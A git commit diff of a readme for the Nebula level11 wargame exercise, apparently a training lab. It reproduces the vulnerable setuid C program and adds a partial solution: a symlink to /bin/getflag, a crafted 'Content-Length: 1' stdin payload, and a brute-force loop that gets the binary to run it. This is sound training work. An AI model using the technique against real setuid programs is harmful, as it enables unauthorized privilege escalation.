Commit 32ead5d

Richard Luby <richluby@gmail.com>
2016-10-12 08:15:20
added partial solution for level11
the solution executes the proper command. however, possibly due to the fact that setgid/setuid is not called or that the disk is mounted nosuid, the binary does not recognize the owner
1 parent 8d9bf33
Changed files (1)
exploit_exercises
nebula
level11
exploit_exercises/nebula/level11/readme.md
@@ -1,13 +1,16 @@
 
-----------------------------------------------
+# Nebula - Level11 - Content Injection
 
-About
-Source code
-The /home/flag11/flag11 binary processes standard input and executes a
+## About
+The `/home/flag11/flag11` binary processes standard input and executes a
 shell command.
 There are two ways of completing this level, you may wish to do both :-)
-To do this level, log in as the level11 account with the password
-level11. Files for this level can be found in /home/flag11.
+To do this level, log in as the `level11` account with the password
+`level11`. Files for this level can be found in `/home/flag11`.
+
+## Source code
+
+```
 #include <stdlib.h>
 #include <unistd.h>
 #include <string.h>
@@ -30,7 +33,7 @@ int getrand(char **path)
 
   tmp = getenv("TEMP");
   pid = getpid();
-  
+
   asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
       'A' + (random() % 26), '0' + (random() % 10),
       'a' + (random() % 26), 'A' + (random() % 26),
@@ -76,7 +79,7 @@ int main(int argc, char **argv)
   }
 
   length = atoi(line + strlen(CL));
-  
+
   if(length < sizeof(buf)) {
       if(fread(buf, length, 1, stdin) != length) {
           err(1, "fread length");
@@ -110,3 +113,44 @@ int main(int argc, char **argv)
   }
 
 }
+```
+
+## Solution
+
+The first path occurs when the content length == 1 as seen by the statement
+```
+if(fread(buf, length, 1, stdin) != length) {
+    err(1, "fread length");
+}
+```
+The `1` specifies that 1 element should be read into memory (see `man fread`). If there is not 1
+element to read, then the program reports an error and exits. The `process()` function call then
+proceeds to mangle the user input into a predictable different character. For instance, `D` always
+becomes `E`. The function then passes this new character to `system()` via a c-style buffer, which
+attempts to start a process using the executable path given to it. Recall that c-style buffers
+terminate with a `NULL` or `\0` character.
+
+To exploit this behavior, create a symbolic link to `/bin/getflag` (`ln -s /bin/getflag E`) that
+the program executes with properly formatted input. The lines
+
+```
+#define CL "Content-Length: "
+if(fgets(line, sizeof(line), stdin) == NULL) {
+    errx(1, "reading from stdin");
+}
+if(strncmp(line, CL, strlen(CL)) != 0) {
+    errx(1, "invalid header");
+}
+```
+
+check that there is input in `stdin`. If there is, the program next checks that the header matches
+`CL`, or "Content-Length: ".
+
+To craft the payload, `echo -ne "Content-Length: 1\nD'"` outputs the
+correct sequence for the link file `E`. To hope for a random, null-terminated buffer to occur (it
+happens), use `while true; do echo -ne "Content-Length: 1\nD'" | /home/flag11/flag11 2>>output; done`. The
+`2>>output` portion redirects `stderr` to `output`, thereby allowing only the successful system
+calls to appear in the terminal. If `sh: E: command not found` appears in the `output` file,
+modify the `PATH` variable via `PATH=$PATH:/home/level11`.
+Note that like previous solutions, this requires the disk to be mounted WITHOUT the `nosuid` option
+specified.